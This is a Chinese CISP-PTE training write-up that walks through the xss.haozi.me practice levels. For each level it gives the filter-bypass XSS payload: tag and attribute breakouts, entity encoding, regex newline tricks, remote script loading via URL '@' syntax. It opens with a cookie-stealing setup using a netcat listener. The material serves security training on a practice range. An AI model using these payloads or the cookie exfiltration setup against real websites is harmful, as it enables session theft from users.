CISP-PTE培训XSS小练
在CISP-PTE认证中需重点掌握内容为,窃取用户cookies
主要使用方法为:
1 | <script> |
通过该payload,受攻击端将cookie发送至构造好正在监听的攻击者机器对应端口
1 | nc.exe -l -p 4000 |
XSS练习平台,以https://xss.haozi.me/为例
0x00
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <div><script>alert(1);</script></div> |
Input code:
1 | <script>alert(1);</script> |
0x01
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <textarea></textarea><script>alert(1);</script></textarea> |
Input code:
1 | </textarea><script>alert(1);</script> |
0x02
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <input type="name" value=""><script>alert(1);</script>"> |
Input code:
1 | "><script>alert(1);</script> |
0x03
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <script>alert`1`;</script> |
Input code:
1 | <script>alert`1`;</script> |
当 ( ) 被过滤时,可以考虑使用 ` ` 替代括号
0x04
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <body onload="alert(1)"> |
Input code:
1 | <body onload="alert(1)"> |
当 ( ) ` 均被过滤时,可以考虑使用编码替代
[^1]: 在网页中&#开头的是HTML实体,一些字符在 HTML 中是预留的,拥有特殊的含义,比如小于号‘<’用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。
[^2]: 如何把汉字转换成HTML实体呢?其实很简单,汉字的HTML实体由三部分组成,”&#+ASCII+;“ 即可
[^3]: 字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写:< 或者 <
[^4]: 注意:实体对大小写敏感。
0x05
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | < !-- --!><script>alert(1);</script> -- >(-和<、>之间没有空格) |
Input code:
1 | --!><script>alert(1);</script> |
- 注释方式有两种:
- < !– 注释内容 –>
- <!– 注释内容 –!>
0x06
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <input value=1 onclick |
Input code:
1 | onclick |
/auto|on.*= | >/ig
匹配了: auto 、以on开头且以=结尾的字符串、>
所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合
但是它并没有匹配换行符, 可以通过换行来绕过匹配
0x07
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <article><body onload="alert(1)"</article> |
Input code:
1 | <body onload="alert(1)" |
/<\/?[^>]+>/gi
- </?
\转义符与/结合, 从而转义了/, 进而含义是匹配: </
再加上+ (匹配前面的子表达式一次或多次), 所以是匹配: < 或者 </
- [^>]+
首先要明白, 中括号的用法: [abc] => 匹配abc中的任意一个;
然后^符号的两种用法:
限定开头: 比如, /^A/会匹配”An e”中的A,但是不会匹配”ab A”中的A
取反(仅处于中括号中成立): 比如,[^a-zA-Z0-9]表示 “找到一个非字母也非数字的字符”。
最后是+的含义:匹配前面的子表达式一次或多次。
所以,总的来说,[^>]+ 匹配了除了^的任意字符的一次或者多次
- >
单纯匹配>。
总的表达式就是,匹配: </ \任意字符** >,** 而且 /i 过滤了大小写
而html的单标签竟然也可以解析
0x08
Server code:
1 | function render (src) { |
html(input输入后的变化结果):
1 | <style> |
Input code:
1 | </style > |
正则过滤了: </style>,那么可以通过多加一个空格, 造成正则逃逸
或者也可以利用正则式不能匹配换行来绕过
0x09
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <script src="https://www.segmentfault.com/" onload="alert(1)"></script> |
Input code:
1 | https://www.segmentfault.com/" onload="alert(1) |
过滤要求必须以https://www.segmentfault.com/
为头,onload或者onerror
0x0A
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <script src="https://www.segmentfault.com.haozi.me/j.js"></script> |
Input code:
1 | https://www.segmentfault.com@xss.haozi.me/j.js |
题目通过html转义, 把能注入的关键字都过滤了,无法在网址后面加标签等操作了,
可以直接引用指定网站下的目录文件来达到xss注入的目的
比如: 在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可
1 | https://www.segmentfault.com.haozi.me/j.js |
- 再者, 也可用url的@语法来进行跳转调用
url通用格式:
<协议>://<用户名>:<密码>@<主机域名或者ip地址>:<端口号>/<路径>;<参数>?<查询>#<片段>
所以, 我们可以将写好的 j.js 文件, 内容为: alert(1);
放到靶机可访问的位置(比如公网服务器),然后@跳转访问即可 (beefhook原理)
1 | https://www.segmentfault.com@xss.haozi.me/j.js |
0x0B
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1> |
Input code:
1 | <script src="https://www.segmentfault.com.haozi.me/j.js"></script> |
程序将所有字母转换为大写,需要明白的一点是
- HTML中对大小写不敏感
- JS中对大小写敏感
可以对js代码进行编码处理, 而html部分不变
1 | <img src="" onerror="alert(1)"> |
另一种方法是:
域名对大小写也不敏感 , 所有可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入
0x0C
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1> |
Input code:
1 | <img src="" onerror="alert(1)"> |
多了一个对script的过滤, 用上一题的第一种方法即可
或者使用双写绕过一次替换
0x0D
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <script> |
Input code:
1 |
|
把斜杠, 单、双引号都过滤了,回车可以破坏注释结构,那么再直接注入alert(1), 再配合js的注释符 –> 注释掉’):
0x0E
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1> |
Input code:
1 | <ſcript src="https://www.segmentfault.com.haozi.me/j.js"></ſcript> |
该正则表达式将尖括号后面追加一个下划线, 并且将所有字符大写:
比如: <a 变为: <_A
这几乎过滤了所有标签, 包括<script>,找到一个字符的大写是s的: ſ (古英文, 拉丁文)
0x0F
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <img src onerror="console.error('');alert(1)('')"> |
Input code:
1 | ');alert(1)(' |
这题将一些常用的注入字符进行了html编码处理,
但是, 它忽略了一点, 由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用。
发现input值处于单引号和括号中间,注入使其闭合, 再闭合后面引号或者注释掉后面的内容即可。
0x10
Server code:
1 | function render (input) { |
html(input输入后的变化结果):
1 | <script> |
Input code:
1 | alert(1) |
0x11
Server code:
1 | // from alf.nu |
html(input输入后的变化结果):
1 | <script> |
Input code:
1 | ");alert(1)(" |
一些字符被转义了, 就连换行符等也被转义了
但是: //虽然被转义成了//, 但转义之后还是//, 在js中还是注释符 (勿与正则弄混)
或者闭合后引号
赋值一次消耗一次转义符
0x12
Server code:
1 | // from alf.nu |
html(input输入后的变化结果):
1 | <script>console.log("</script><script>alert(1)</script><script>");</script> |
Input code:
1 | \");alert(1);// |
这题将双引号转义了, 就不能好好闭合了,但是, 换个思路, 它并没有将转义符转义, 那么我们可以将转义符转义。
或者通过闭合前面的script标签, 内嵌一个script标签即可。